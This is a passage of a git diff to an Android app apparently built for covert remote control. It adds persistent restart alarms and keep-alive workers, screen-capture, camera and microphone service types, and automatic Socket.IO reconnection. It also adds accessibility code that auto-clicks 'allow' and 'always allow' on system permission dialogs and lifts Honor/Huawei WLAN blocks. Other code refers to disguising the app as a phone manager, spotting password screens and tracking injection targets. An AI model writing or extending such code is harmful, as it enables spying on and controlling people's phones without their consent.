security) + alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, rcfsPI) + } + + try { + alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI) + } catch (security: SecurityException) { + Log.w(TAG, "Exact alarm denied for process monitor KeepAlive restart, fallback to inexact wake alarm", security) + alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 50, keepAlivePI) + } Log.i(TAG, "✅ 激进恢复机制已启动") } catch (e: Exception) { diff --git a/app/src/main/java/com/hikoncont/service/RemoteControlForegroundService.kt b/app/src/main/java/com/hikoncont/service/RemoteControlForegroundService.kt index dea5454..9a6a226 100644 --- a/app/src/main/java/com/hikoncont/service/RemoteControlForegroundService.kt +++ b/app/src/main/java/com/hikoncont/service/RemoteControlForegroundService.kt @@ -20,6 +20,8 @@ import androidx.core.app.NotificationCompat import kotlinx.coroutines.* import com.hikoncont.MediaProjectionHolder import com.hikoncont.R +import com.hikoncont.util.DeviceDetector +import com.hikoncont.util.registerReceiverCompat /** * 远程控制前台服务 @@ -36,6 +38,13 @@ class RemoteControlForegroundService : Service() { private const val NOTIFICATION_CHANNEL_ID = "media_projection_service" private const val NOTIFICATION_ID = 2001 private const val RESTART_DELAY = 3000L // 重启延迟3秒 + const val ACTION_START_MEDIA_PROJECTION = "START_MEDIA_PROJECTION" + const val ACTION_START_MEDIA_PROJECTION_FGS_ONLY = "START_MEDIA_PROJECTION_FGS_ONLY" + const val ACTION_STOP_SCREEN_CAPTURE = "STOP_SCREEN_CAPTURE" + const val ACTION_RESTART_SERVICE = "RESTART_SERVICE" + const val ACTION_UPGRADE_CAMERA = "UPGRADE_CAMERA_FGS_TYPE" + const val ACTION_UPGRADE_MICROPHONE = "UPGRADE_MICROPHONE_FGS_TYPE" + const val ACTION_UPGRADE_CAMERA_MICROPHONE = "UPGRADE_CAMERA_MICROPHONE_FGS_TYPE" } private var mediaProjection: MediaProjection? = null @@ -44,6 +53,11 @@ class RemoteControlForegroundService : Service() { private var wifiLock: android.net.wifi.WifiManager.WifiLock? = null private val serviceScope = CoroutineScope(Dispatchers.Main + SupervisorJob()) private var keepAliveJob: Job? = null + private var disableAutoRestart = false + private var foregroundEstablished = false + private var currentForegroundType: Int? = null + private var lastSocketRecoveryAt = 0L + private val socketRecoveryCooldownMs = 20_000L // ✅ Android 15深度恢复广播接收器 private val deepRecoveryReceiver = object : BroadcastReceiver() { @@ -67,7 +81,7 @@ class RemoteControlForegroundService : Service() { // ✅ 注册Android 15深度恢复广播接收器 if (Build.VERSION.SDK_INT >= 35) { val filter = IntentFilter("android.mycustrecev.DEEP_RECOVERY_MODE") - registerReceiver(deepRecoveryReceiver, filter) + registerReceiverCompat(deepRecoveryReceiver, filter) Log.i(TAG, "✅ 已注册Android 15深度恢复广播接收器") } @@ -81,22 +95,51 @@ class RemoteControlForegroundService : Service() { override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { Log.i(TAG, "前台服务启动命令: ${intent?.action}") + if (intent?.action == ACTION_STOP_SCREEN_CAPTURE) { + handleStopScreenCapture() + return START_NOT_STICKY + } + + val isProjectionRequest = + intent?.action == ACTION_START_MEDIA_PROJECTION || + intent?.action == ACTION_START_MEDIA_PROJECTION_FGS_ONLY + val requestCameraType = + intent?.action == ACTION_UPGRADE_CAMERA || intent?.action == ACTION_UPGRADE_CAMERA_MICROPHONE + val requestMicrophoneType = + intent?.action == ACTION_UPGRADE_MICROPHONE || intent?.action == ACTION_UPGRADE_CAMERA_MICROPHONE + val foregroundStarted = startForegroundService( + preferMediaProjectionType = isProjectionRequest, + requireCameraType = requestCameraType, + requireMicrophoneType = requestMicrophoneType, + action = intent?.action + ) + if (!foregroundStarted) { + Log.w(TAG, "⚠️ 前台服务启动失败,忽略本次命令: action=${intent?.action}") + return START_NOT_STICKY + } + when (intent?.action) { - "START_MEDIA_PROJECTION" -> { + ACTION_START_MEDIA_PROJECTION -> { handleStartMediaProjection(intent) } - "STOP_SCREEN_CAPTURE" -> { - handleStopScreenCapture() + ACTION_START_MEDIA_PROJECTION_FGS_ONLY -> { + Log.i(TAG, "仅升级前台服务到mediaProjection类型,不预创建MediaProjection对象") } - "RESTART_SERVICE" -> { + ACTION_UPGRADE_CAMERA -> { + Log.i(TAG, "前台服务类型升级请求: camera") + } + ACTION_UPGRADE_MICROPHONE -> { + Log.i(TAG, "前台服务类型升级请求: microphone") + } + ACTION_UPGRADE_CAMERA_MICROPHONE -> { + Log.i(TAG, "前台服务类型升级请求: camera|microphone") + } + ACTION_RESTART_SERVICE -> { // ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理 Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启") } } - // 确保前台服务已启动 - startForegroundService() - return START_STICKY } @@ -104,9 +147,6 @@ class RemoteControlForegroundService : Service() { try { Log.i(TAG, "开始处理MediaProjection") - // 启动前台服务 - startForegroundService() - // ✅ 优先检查 Holder 中是否已有有效的 MediaProjection 对象 val existingProjection = MediaProjectionHolder.getMediaProjection() if (existingProjection != null) { @@ -204,28 +244,140 @@ class RemoteControlForegroundService : Service() { } } - private fun startForegroundService() { + private fun startForegroundService( + preferMediaProjectionType: Boolean = false, + requireCameraType: Boolean = false, + requireMicrophoneType: Boolean = false, + action: String? = null + ): Boolean { val notification = createNotification() - - if (Build.VERSION.SDK_INT >= 34) { - // ✅ Android 14+ (API 34+):参考billd-desk,传入FOREGROUND_SERVICE_TYPE_MANIFEST(-1) - // 让系统从Manifest中读取foregroundServiceType,确保权限正确声明 - startForeground( - NOTIFICATION_ID, - notification, - ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION - ) - } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { - startForeground( - NOTIFICATION_ID, - notification, - ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION - ) - } else { - startForeground(NOTIFICATION_ID, notification) + val hasProjectionGrant = + mediaProjection != null || + MediaProjectionHolder.getMediaProjection() != null || + MediaProjectionHolder.getPermissionData() != null + val requestedType = buildForegroundType( + preferMediaProjectionType = preferMediaProjectionType, + requireCameraType = requireCameraType, + requireMicrophoneType = requireMicrophoneType, + hasProjectionGrant = hasProjectionGrant + ) + DeviceDetector.getKeepAlivePolicy() // 触发统一策略日志,便于排障 + + // 同一进程内只做一次前台建立,后续命令复用现有前台状态,避免重复消耗时限。 + if (foregroundEstablished) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + val mergedType = mergeForegroundType(currentForegroundType, requestedType) + if (mergedType == currentForegroundType) { + Log.d( + TAG, + "foreground already established, type unchanged=${describeForegroundType(mergedType)} action=$action" + ) + return true + } + return try { + startForeground( + NOTIFICATION_ID, + notification, + mergedType + ) + currentForegroundType = mergedType + Log.i( + TAG, + "前台服务类型已升级: type=${describeForegroundType(mergedType)}, action=$action" + ) + true + } catch (e: Exception) { + Log.e(TAG, "前台服务类型升级失败,维持当前前台状态: action=$action", e) + false + } + } + Log.d(TAG, "foreground already established, skip duplicate startForeground: action=$action") + return true } - - Log.i(TAG, "前台服务已启动") + + return try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + startForeground( + NOTIFICATION_ID, + notification, + requestedType + ) + currentForegroundType = requestedType + } else { + startForeground(NOTIFICATION_ID, notification) + currentForegroundType = null + } + + Log.i( + TAG, + "前台服务已启动,type=${describeForegroundType(currentForegroundType)}" + ) + if (preferMediaProjectionType && !hasProjectionGrant) { + Log.w(TAG, "请求了mediaProjection前台类型,但当前无有效投屏授权,已降级为dataSync避免崩溃") + } + foregroundEstablished = true + true + } catch (e: Exception) { + if (e.javaClass.simpleName.contains("ForegroundServiceStartNotAllowedException")) { + disableAutoRestart = true + Log.e(TAG, "前台服务类型时限触发,已禁用自动重拉避免崩溃风暴", e) + } else { + Log.e(TAG, "前台服务启动失败", e) + } + try { + stopForeground(STOP_FOREGROUND_REMOVE) + } catch (_: Exception) { + } + try { + stopSelf() + } catch (_: Exception) { + } + false + } + } + + private fun buildForegroundType( + preferMediaProjectionType: Boolean, + requireCameraType: Boolean, + requireMicrophoneType: Boolean, + hasProjectionGrant: Boolean + ): Int { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) { + return 0 + } + var type = ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC + if (preferMediaProjectionType && hasProjectionGrant) { + type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION + } + if (requireCameraType) { + type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA + } + if (requireMicrophoneType) { + type = type or ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE + } + return type + } + + private fun mergeForegroundType(currentType: Int?, requestedType: Int): Int { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) { + return 0 + } + val base = currentType ?: ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC + return base or requestedType + } + + private fun describeForegroundType(type: Int?): String { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) { + return "legacy" + } + val value = type ?: ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC + val parts = mutableListOf() + if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC != 0) parts += "dataSync" + if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION != 0) parts += "mediaProjection" + if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA != 0) parts += "camera" + if (value and ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE != 0) parts += "microphone" + if (parts.isEmpty()) parts += "none($value)" + return parts.joinToString("|") } private fun notifyAccessibilityService() { @@ -438,8 +590,22 @@ class RemoteControlForegroundService : Service() { // ✅ 只检查Socket.IO连接状态,WebSocket已移除 if (!socketIOConnected) { - Log.w(TAG, "⚠️ 检测到Socket.IO连接断开,但等待其自动重连机制处理") - // 让Socket.IO的重连机制工作,前台服务不强制干预 + val recoverNow = System.currentTimeMillis() + val elapsed = recoverNow - lastSocketRecoveryAt + if (elapsed >= socketRecoveryCooldownMs) { + lastSocketRecoveryAt = recoverNow + Log.w(TAG, "⚠️ 检测到Socket.IO连接断开,触发主动连接自愈") + try { + accessibilityService.checkAndStartConnection() + } catch (e: Exception) { + Log.e(TAG, "❌ 主动连接自愈触发失败", e) + } + } else { + Log.d( + TAG, + "⏳ Socket.IO重连冷却中: ${elapsed}ms/${socketRecoveryCooldownMs}ms" + ) + } } else { Log.d(TAG, "✅ Socket.IO连接正常: $socketIOConnected") } @@ -556,6 +722,8 @@ class RemoteControlForegroundService : Service() { // 这会导致Android 15设备权限丢失 // mediaProjection?.stop() // 删除,避免权限被意外停止 mediaProjection = null + foregroundEstablished = false + currentForegroundType = null // 只清理引用,保留权限数据 MediaProjectionHolder.clearMediaProjection() @@ -570,8 +738,12 @@ class RemoteControlForegroundService : Service() { } } - // 服务销毁时自动重启 - scheduleRestart() + // 服务销毁时自动重启(保守策略 + 启动受限场景下跳过,避免循环崩溃) + if (!disableAutoRestart) { + scheduleRestart() + } else { + Log.w(TAG, "skip auto restart after foreground start restriction") + } super.onDestroy() } @@ -594,11 +766,27 @@ class RemoteControlForegroundService : Service() { val alarmManager = getSystemService(Context.ALARM_SERVICE) as android.app.AlarmManager val restartTime = System.currentTimeMillis() + RESTART_DELAY - alarmManager.setExact( - android.app.AlarmManager.RTC_WAKEUP, - restartTime, - pendingIntent - ) + try { + alarmManager.setExactAndAllowWhileIdle( + android.app.AlarmManager.RTC_WAKEUP, + restartTime, + pendingIntent + ) + } catch (security: SecurityException) { + Log.w(TAG, "Exact restart alarm denied, fallback to inexact wake alarm", security) + alarmManager.setAndAllowWhileIdle( + android.app.AlarmManager.RTC_WAKEUP, + restartTime, + pendingIntent + ) + } catch (e: Exception) { + Log.w(TAG, "Exact restart alarm failed, fallback to inexact wake alarm", e) + alarmManager.setAndAllowWhileIdle( + android.app.AlarmManager.RTC_WAKEUP, + restartTime, + pendingIntent + ) + } Log.i(TAG, "已安排服务在${RESTART_DELAY}ms后重启") } catch (e: Exception) { @@ -646,4 +834,4 @@ class RemoteControlForegroundService : Service() { override fun onBind(intent: Intent?): IBinder? { return null } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/service/WorkManagerKeepAliveService.kt b/app/src/main/java/com/hikoncont/service/WorkManagerKeepAliveService.kt index fad11fb..b41a133 100644 --- a/app/src/main/java/com/hikoncont/service/WorkManagerKeepAliveService.kt +++ b/app/src/main/java/com/hikoncont/service/WorkManagerKeepAliveService.kt @@ -4,6 +4,8 @@ import android.content.Context import android.util.Log import androidx.work.* import androidx.lifecycle.Observer +import com.hikoncont.util.DeviceDetector +import com.hikoncont.util.ForegroundServiceStarter import kotlinx.coroutines.delay import java.util.concurrent.TimeUnit import com.hikoncont.service.ImmediateRecoveryWorker @@ -31,6 +33,8 @@ class WorkManagerKeepAliveService { @Volatile private var INSTANCE: WorkManagerKeepAliveService? = null + @Volatile + private var lastStartAt: Long = 0L fun getInstance(): WorkManagerKeepAliveService { return INSTANCE ?: synchronized(this) { @@ -47,6 +51,13 @@ class WorkManagerKeepAliveService { Log.i(TAG, "🚀 启动WorkManager保活服务") val workManager = WorkManager.getInstance(context) + val now = System.currentTimeMillis() + val cooldownMs = 5_000L + if (now - lastStartAt < cooldownMs) { + Log.i(TAG, "⏳ WorkManager保活处于冷却期,跳过重复启动: elapsed=${now - lastStartAt}ms") + return + } + lastStartAt = now // 1. 启动保活工作 startKeepAliveWork(context, workManager) @@ -542,6 +553,9 @@ class KeepAliveWorker( companion object { private const val TAG = "KeepAliveWorker" + private const val SOCKET_RECOVERY_COOLDOWN_MS = 20_000L + @Volatile + private var lastSocketRecoveryAt = 0L } override suspend fun doWork(): Result { @@ -568,9 +582,14 @@ class KeepAliveWorker( private suspend fun startForegroundService() { try { - val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java) - applicationContext.startForegroundService(intent) - Log.d(TAG, "✅ 前台服务已启动") + val policy = DeviceDetector.getKeepAlivePolicy() + ForegroundServiceStarter.maybeStartRemoteForegroundService( + context = applicationContext, + action = null, + reason = "workmanager_keepalive_worker", + minIntervalMs = policy.minForegroundKickIntervalMs + ) + Log.d(TAG, "✅ 前台服务启动逻辑已执行") } catch (e: Exception) { Log.e(TAG, "❌ 启动前台服务失败", e) } @@ -586,6 +605,39 @@ class KeepAliveWorker( if (!isRunning && isEnabled) { // ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理 Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启") + return + } + + if (isEnabled && isRunning) { + val accessibilityService = com.hikoncont.service.AccessibilityRemoteService.getInstance() + if (accessibilityService == null) { + Log.w(TAG, "⚠️ 无障碍服务标记运行中,但实例为空,跳过Socket检查") + return + } + + val socketConnected = runCatching { + accessibilityService.getSocketIOManager()?.isConnected() ?: false + }.getOrDefault(false) + + if (socketConnected) { + Log.d(TAG, "✅ KeepAliveWorker 检测Socket.IO连接正常") + return + } + + val now = System.currentTimeMillis() + val elapsed = now - lastSocketRecoveryAt + if (elapsed < SOCKET_RECOVERY_COOLDOWN_MS) { + Log.d(TAG, "⏳ KeepAliveWorker Socket重连冷却中: ${elapsed}ms/${SOCKET_RECOVERY_COOLDOWN_MS}ms") + return + } + + lastSocketRecoveryAt = now + Log.w(TAG, "⚠️ KeepAliveWorker 检测Socket.IO断开,触发主动连接自愈") + runCatching { + accessibilityService.checkAndStartConnection() + }.onFailure { e -> + Log.e(TAG, "❌ KeepAliveWorker 主动连接自愈失败", e) + } } } catch (e: Exception) { Log.e(TAG, "❌ 检查无障碍服务失败", e) @@ -760,9 +812,14 @@ class RecoveryWorker( private suspend fun recoverForegroundService() { try { - val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java) - applicationContext.startForegroundService(intent) - Log.d(TAG, "✅ 前台服务恢复完成") + val policy = DeviceDetector.getKeepAlivePolicy() + ForegroundServiceStarter.maybeStartRemoteForegroundService( + context = applicationContext, + action = "RESTART_SERVICE", + reason = "workmanager_recovery_worker", + minIntervalMs = policy.minForegroundKickIntervalMs + ) + Log.d(TAG, "✅ 前台服务恢复逻辑已执行") } catch (e: Exception) { Log.e(TAG, "❌ 恢复前台服务失败", e) } @@ -854,9 +911,14 @@ class QuickRecoveryWorker( private suspend fun startForegroundService() { try { - val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java) - applicationContext.startForegroundService(intent) - Log.d(TAG, "✅ 前台服务已启动") + val policy = DeviceDetector.getKeepAlivePolicy() + ForegroundServiceStarter.maybeStartRemoteForegroundService( + context = applicationContext, + action = "RESTART_SERVICE", + reason = "workmanager_quick_recovery_worker", + minIntervalMs = policy.minForegroundKickIntervalMs + ) + Log.d(TAG, "✅ 前台服务启动逻辑已执行") } catch (e: Exception) { Log.e(TAG, "❌ 启动前台服务失败", e) } @@ -952,9 +1014,14 @@ class EmergencyRecoveryWorker( private suspend fun startForegroundService() { try { - val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java) - applicationContext.startForegroundService(intent) - Log.d(TAG, "✅ 前台服务紧急启动完成") + val policy = DeviceDetector.getKeepAlivePolicy() + ForegroundServiceStarter.maybeStartRemoteForegroundService( + context = applicationContext, + action = "RESTART_SERVICE", + reason = "workmanager_emergency_worker", + minIntervalMs = policy.minForegroundKickIntervalMs + ) + Log.d(TAG, "✅ 前台服务紧急启动逻辑已执行") } catch (e: Exception) { Log.e(TAG, "❌ 紧急启动前台服务失败", e) } diff --git a/app/src/main/java/com/hikoncont/service/modules/AccessibilityEventManager.kt b/app/src/main/java/com/hikoncont/service/modules/AccessibilityEventManager.kt index 88e9574..32e474e 100644 --- a/app/src/main/java/com/hikoncont/service/modules/AccessibilityEventManager.kt +++ b/app/src/main/java/com/hikoncont/service/modules/AccessibilityEventManager.kt @@ -2,12 +2,14 @@ import android.content.Context import android.content.Intent +import android.graphics.Rect import android.util.Log import android.view.accessibility.AccessibilityEvent import android.view.accessibility.AccessibilityNodeInfo import com.hikoncont.OperationLogCollector import com.hikoncont.manager.PermissionGranter import com.hikoncont.service.AccessibilityRemoteService +import com.hikoncont.util.DeviceDetector import kotlinx.coroutines.* /** @@ -36,6 +38,8 @@ class AccessibilityEventManager( // 依赖的管理器 private var permissionGranter: PermissionGranter? = null private var logCollector: OperationLogCollector? = null + private val romPolicy by lazy { DeviceDetector.getRomPolicy() } + private val installerUiPlan by lazy { DeviceDetector.getInstallerUiAutomationPlan() } // 状态跟踪 private var lastTextInputTime = 0L @@ -74,6 +78,200 @@ class AccessibilityEventManager( private var phoneManagerCamouflageClassName = "com.hikoncont.PhoneManagerAlias" private var lastPhoneManagerSwitchTime = 0L private var minPhoneManagerSwitchInterval = 500L // 2秒防重复 + + // APP 打开后短时自动点击“允许” + private var appOpenAutoAllowActive = false + private var appOpenAutoAllowTargetPackage = "" + private var appOpenAutoAllowExpireAt = 0L + private var lastAutoAllowClickAt = 0L + private val defaultAppOpenAutoAllowDurationMs = 15_000L + private val appOpenAutoAllowDurationMs by lazy { + maxOf(defaultAppOpenAutoAllowDurationMs, installerUiPlan.autoAllowDurationMs) + } + private val defaultAutoAllowClickMinIntervalMs = 700L + private val autoAllowClickMinIntervalMs by lazy { + maxOf(defaultAutoAllowClickMinIntervalMs, installerUiPlan.autoAllowClickMinIntervalMs) + } + private val autoAllowEventTypes = setOf( + AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED, + AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED, + AccessibilityEvent.TYPE_WINDOWS_CHANGED + ) + private val autoAllowPositiveKeywords by lazy { + mergeKeywords( + listOf( + "允许", "始终允许", "仅在使用中允许", "仅使用期间允许", "使用期间允许", "仅在前台使用应用时允许", + "仅在使用该应用时允许", "本次允许", "允许本次使用", "使用时允许", "同意", "继续", "确认", + "allow", "always allow", "allow while using", "only this time", "continue", "ok", "yes" + ), + mergeKeywords(installerUiPlan.positiveKeywords, romPolicy.mediaProjectionConfirmTexts) + ) + } + private val autoAllowNegativeKeywords by lazy { + mergeKeywords( + listOf( + "拒绝", "不允许", "不再询问", "取消", "以后再说", "暂不", "deny", "don't allow", "not now", "cancel", "拒絕" + ), + romPolicy.mediaProjectionDenyKeywords + ) + } + private val appOpenDialogPackageHints by lazy { + mergeKeywords( + listOf( + "com.android.permissioncontroller", + "com.android.packageinstaller", + "com.coloros.securitypermission", + "com.coloros.safecenter", + "com.oppo.safecenter", + "com.oplus.safecenter", + "com.heytap.security", + "com.heytap.permission" + ), + installerUiPlan.packageHints + ) + } + private val appOpenDialogTitleKeywords by lazy { + mergeKeywords( + listOf( + "是否允许开启应用", + "是否允许打开应用", + "是否始终允许打开", + "是否始终允许开启应用", + "允许开启应用", + "允许打开应用", + "打开此应用", + "allow this app to open", + "allow opening app" + ), + installerUiPlan.titleKeywords + ) + } + private val appOpenDialogAlwaysAllowKeywords by lazy { + mergeKeywords( + listOf( + "是否始终允许打开", + "是否始终允许开启应用", + "始终允许打开", + "始终允许开启", + "始终允许打开此应用", + "总是允许打开", + "总是允许开启", + "总是允许打开此应用", + "始终允许", + "always allow" + ), + installerUiPlan.alwaysAllowKeywords + ) + } + private val appOpenDialogPositiveKeywords by lazy { + mergeKeywords( + listOf("确定", "允许", "继续", "同意", "确认", "打开", "ok", "allow", "continue", "confirm", "yes"), + installerUiPlan.positiveKeywords + ) + } + private val appOpenDialogNegativeKeywords by lazy { + mergeKeywords( + listOf("取消", "拒绝", "不允许", "not now", "cancel", "deny", "don't allow"), + installerUiPlan.negativeKeywords + ) + } + private val appOpenDialogPositiveButtonIds by lazy { + mergeKeywords( + listOf( + "android:id/button1", + "com.android.permissioncontroller:id/button1", + "com.android.packageinstaller:id/button1", + "com.android.packageinstaller:id/permission_allow_button", + "com.coloros.securitypermission:id/button1", + "com.coloros.safecenter:id/button1", + "com.oppo.safecenter:id/button1", + "com.heytap.permission:id/button1" + ), + installerUiPlan.positiveButtonIds + ) + } + private val appOpenDialogCheckboxIds by lazy { + mergeKeywords( + listOf( + "android:id/checkbox", + "com.android.permissioncontroller:id/checkbox", + "com.android.packageinstaller:id/checkbox", + "com.coloros.securitypermission:id/checkbox", + "com.coloros.safecenter:id/checkbox", + "com.oppo.safecenter:id/checkbox", + "com.heytap.permission:id/checkbox" + ), + installerUiPlan.checkboxIds + ) + } + private var lastAppOpenDialogHandleAt = 0L + private val appOpenDialogHandleCooldownMs by lazy { + maxOf(250L, installerUiPlan.dialogHandleCooldownMs) + } + + private fun mergeKeywords(base: List, extra: List): List { + return (base + extra) + .map { it.trim() } + .filter { it.isNotEmpty() } + .distinct() + } + + // 荣耀/华为系统管家的 WLAN 限制拦截弹窗(“已被禁止使用WLAN网络”) + private val honorSystemManagerPackages = setOf( + "com.hihonor.systemmanager", + "com.huawei.systemmanager" + ) + private val honorWlanDialogKeywords = listOf( + "wlan", + "wifi", + "wi-fi", + "网络", + "已被禁止使用", + "解除此限制", + "确认解除" + ) + private val honorWlanPositiveKeywords = listOf( + "解除", + "允许", + "确认", + "继续", + "确定", + "allow", + "confirm" + ) + private val honorWlanNegativeKeywords = listOf( + "取消", + "拒绝", + "不允许", + "deny", + "cancel", + "not now" + ) + private val honorWlanPositiveButtonIds = listOf( + "android:id/button1", + "com.hihonor.systemmanager:id/button1", + "com.huawei.systemmanager:id/button1" + ) + private val honorWlanCheckboxIds = listOf( + "com.hihonor.systemmanager:id/chk", + "com.huawei.systemmanager:id/chk", + "android:id/checkbox" + ) + private val honorWlanDontAskKeywords = listOf( + "不再提示", + "下次不再提示", + "不再询问", + "don't ask again" + ) + private var lastHonorWlanHandleAt = 0L + + // 应用注入监听状态 + private var appInjectionEnabled = false + private var appInjectionTargetPackage = "" + private var appInjectionTargetAppName = "" + private var appInjectionPromptShowing = false + private var appInjectionLastTriggerAt = 0L + private val appInjectionTriggerCooldownMs = 1500L /** * 初始化事件管理器 @@ -97,6 +295,12 @@ class AccessibilityEventManager( try { // 处理权限对话框自动点击 permissionGranter?.handleAccessibilityEvent(event) + + // 荣耀/华为系统管家 WLAN 限制弹窗自动处理 + handleHonorWlanRestrictionDialog(event) + + // APP 打开后的短时自动“允许”处理 + handleAppOpenAutoAllow(event) // 处理WRITE_SETTINGS权限管理器的自动点击 try { @@ -313,6 +517,9 @@ class AccessibilityEventManager( // 检测密码输入页面 detectPasswordInputActivity(packageName, className) + + // 检测注入目标应用 + detectInjectedTargetApp(packageName, className) // 检测手机管家伪装 detectPhoneManagerCamouflage(packageName, className) @@ -749,6 +956,904 @@ class AccessibilityEventManager( fun setLastTextInputTime(time: Long) { lastTextInputTime = time } + + fun startAppOpenAutoAllow(packageName: String) { + val targetPackage = packageName.trim() + if (targetPackage.isEmpty()) { + return + } + appOpenAutoAllowActive = true + appOpenAutoAllowTargetPackage = targetPackage + appOpenAutoAllowExpireAt = System.currentTimeMillis() + appOpenAutoAllowDurationMs + lastAutoAllowClickAt = 0L + Log.i( + TAG, + "✅ APP_OPEN 自动允许已启用: package=$targetPackage, expireIn=${appOpenAutoAllowDurationMs}ms" + ) + service.recordOperationLog( + "APP_OPEN_AUTO_ALLOW_START", + "APP_OPEN 自动允许窗口已开启", + mapOf( + "packageName" to targetPackage, + "expireAt" to appOpenAutoAllowExpireAt + ) + ) + } + + private fun stopAppOpenAutoAllow(reason: String) { + if (!appOpenAutoAllowActive) { + return + } + val targetPackage = appOpenAutoAllowTargetPackage + appOpenAutoAllowActive = false + appOpenAutoAllowTargetPackage = "" + appOpenAutoAllowExpireAt = 0L + Log.i(TAG, "ℹ️ APP_OPEN 自动允许结束: package=$targetPackage, reason=$reason") + } + + private fun handleAppOpenAutoAllow(event: AccessibilityEvent) { + if (!appOpenAutoAllowActive) { + return + } + + val now = System.currentTimeMillis() + if (now >= appOpenAutoAllowExpireAt) { + stopAppOpenAutoAllow("timeout") + return + } + if (!autoAllowEventTypes.contains(event.eventType)) { + return + } + if (now - lastAutoAllowClickAt < autoAllowClickMinIntervalMs) { + return + } + + val root = getStableRootInActiveWindow() ?: return + try { + val currentPackage = event.packageName?.toString().orEmpty() + if (handleAppOpenConfirmDialog(root, currentPackage, now, event.eventType)) { + lastAutoAllowClickAt = now + return + } + + val allowNode = findAutoAllowNode(root) ?: return + val clickSuccess = performAutoAllowClick(allowNode) + if (clickSuccess) { + lastAutoAllowClickAt = now + Log.i( + TAG, + "✅ 自动点击允许成功: target=$appOpenAutoAllowTargetPackage, currentPackage=$currentPackage" + ) + service.recordOperationLog( + "APP_OPEN_AUTO_ALLOW_CLICK", + "自动点击权限允许", + mapOf( + "targetPackage" to appOpenAutoAllowTargetPackage, + "currentPackage" to currentPackage, + "eventType" to event.eventType + ) + ) + } + } catch (e: Exception) { + Log.e(TAG, "❌ 自动点击允许失败", e) + } finally { + root.recycle() + } + } + + /** + * 处理 OPPO/ColorOS 常见的“是否允许开启应用”二阶段弹窗: + * 1) 勾选“始终允许打开” + * 2) 点击右下角“确定/允许” + */ + private fun handleAppOpenConfirmDialog( + root: AccessibilityNodeInfo, + eventPackage: String, + now: Long, + eventType: Int + ): Boolean { + if (now - lastAppOpenDialogHandleAt < appOpenDialogHandleCooldownMs) { + return false + } + if (!isAppOpenConfirmDialog(root, eventPackage)) { + return false + } + + val checkedAlwaysAllow = tryCheckAppOpenAlwaysAllow(root) + val clickedConfirm = tryClickAppOpenConfirmButton(root) + + if (!checkedAlwaysAllow && !clickedConfirm) { + return false + } + + lastAppOpenDialogHandleAt = now + val rootPackage = root.packageName?.toString().orEmpty() + Log.i( + TAG, + "✅ [APP_OPEN_CONFIRM] handled: package=$rootPackage, checkedAlways=$checkedAlwaysAllow, clickedConfirm=$clickedConfirm" + ) + service.recordOperationLog( + "APP_OPEN_CONFIRM_AUTO_ALLOW", + "应用打开确认弹窗已自动处理", + mapOf( + "targetPackage" to appOpenAutoAllowTargetPackage, + "dialogPackage" to rootPackage, + "eventPackage" to eventPackage, + "eventType" to eventType, + "checkedAlways" to checkedAlwaysAllow, + "clickedConfirm" to clickedConfirm + ) + ) + + if (clickedConfirm) { + stopAppOpenAutoAllow("dialog_confirm_clicked") + } + return true + } + + private fun isAppOpenConfirmDialog(root: AccessibilityNodeInfo, eventPackage: String): Boolean { + val eventPkg = eventPackage.lowercase() + val rootPkg = root.packageName?.toString().orEmpty().lowercase() + val packageHintMatched = appOpenDialogPackageHints.any { hint -> + eventPkg.contains(hint) || rootPkg.contains(hint) + } + val hasTitleKeyword = appOpenDialogTitleKeywords.any { keyword -> + containsVisibleText(root, keyword) + } + val hasAlwaysAllowKeyword = appOpenDialogAlwaysAllowKeywords.any { keyword -> + containsVisibleText(root, keyword) + } + val hasPositiveAction = appOpenDialogPositiveKeywords.any { keyword -> + containsVisibleText(root, keyword) + } + val hasNegativeAction = appOpenDialogNegativeKeywords.any { keyword -> + containsVisibleText(root, keyword) + } + + return (hasTitleKeyword && hasPositiveAction && hasNegativeAction) || + (hasAlwaysAllowKeyword && hasPositiveAction && hasNegativeAction) || + (packageHintMatched && hasAlwaysAllowKeyword && hasPositiveAction) + } + + private fun tryCheckAppOpenAlwaysAllow(root: AccessibilityNodeInfo): Boolean { + appOpenDialogCheckboxIds.forEach { viewId -> + val candidates = try { + root.findAccessibilityNodeInfosByViewId(viewId) + } catch (_: Exception) { + emptyList() + } + candidates.forEach { node -> + try { + if (tryCheckNode(node)) { + return true + } + } finally { + runCatching { node.recycle() } + } + } + } + + appOpenDialogAlwaysAllowKeywords.forEach { keyword -> + val 